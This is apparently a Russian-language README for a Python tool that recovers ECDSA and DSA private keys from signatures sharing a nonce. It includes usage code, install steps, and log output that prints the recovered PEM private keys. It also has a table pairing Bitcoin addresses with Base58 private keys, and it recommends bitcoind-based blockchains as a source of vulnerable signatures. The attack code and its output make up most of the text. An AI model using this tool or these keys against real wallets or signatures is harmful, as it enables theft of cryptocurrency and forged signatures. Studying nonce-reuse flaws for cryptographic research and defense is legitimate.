
Инструмент криптографических исследований для анализа уязвимостей подписей
Выполнение атак восстановления закрытого ключа при повторном использовании nonce в ECDSA и DSA
Криптографический исследовательский инструмент для анализа уязвимостей подписей
Давайте восстановим закрытый ключ для двух подписей, использующих один и тот же nonce k. Обратите внимание, что выбор одного и того же nonce k приводит к тому, что обе подписи имеют одинаковое значение подписи r. Чтобы найти хороших кандидатов для проверки повторного использования nonce в ECDSA, ищите подписи с одинаковыми r, pubkey на curve для разных сообщений (или хэшей). Например, блокчейн-проекты на основе bitcoind обычно являются хорошими источниками материала ECDSA-подписей.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # тот же privkey, что и у sampleA, идентичный r из-за повторного использования nonce k.
# восстановить закрытый ключ
sampleA.recover_nonce_reuse(sampleB) # заполняет sampleA восстановленным закрытым ключом, готовым к использованию
print sampleA.privkey
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC Address | Base58 Privkey | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
создание восстанавливаемых объектов подписей:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# указать кривую
curve = ecdsa.SECP256k1
# создать стандартный объект pubkey ecdsa из hex-строки
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# создать восстанавливаемые объекты подписей sampleA и sampleB.
# длинное r, длинное s, bytestr hash, объект pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# ключ ещё не восстановлен
assert (sampleA.x is None)
восстановить закрытый ключ для sampleA
# попытка восстановить ключ - это обновляет объект sampleA
sampleA.recover_nonce_reuse(sampleB) # восстановить закрытый ключ, общий с sampleB
assert (sampleA.x is not None) # подтвердить успешность восстановления privkey. Это даёт нам готовый к использованию объект ECDSA privkey
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
INFO:__main__:------------DSA------------
DEBUG:__main__:сгенерированные образцы подписей: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Объекты подписей: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:сгенерированные образцы подписей: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Объекты подписей: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----
Библиотека написана таким образом, что при успешном восстановлении она пытается обновить объекты ecdsa только с pubkey до объектов ecdsa с поддержкой закрытого ключа. Это упрощает работу с восстановленными объектами ключей. Библиотека выполняет восстановление ключей как для ECDSA, так и для DSA.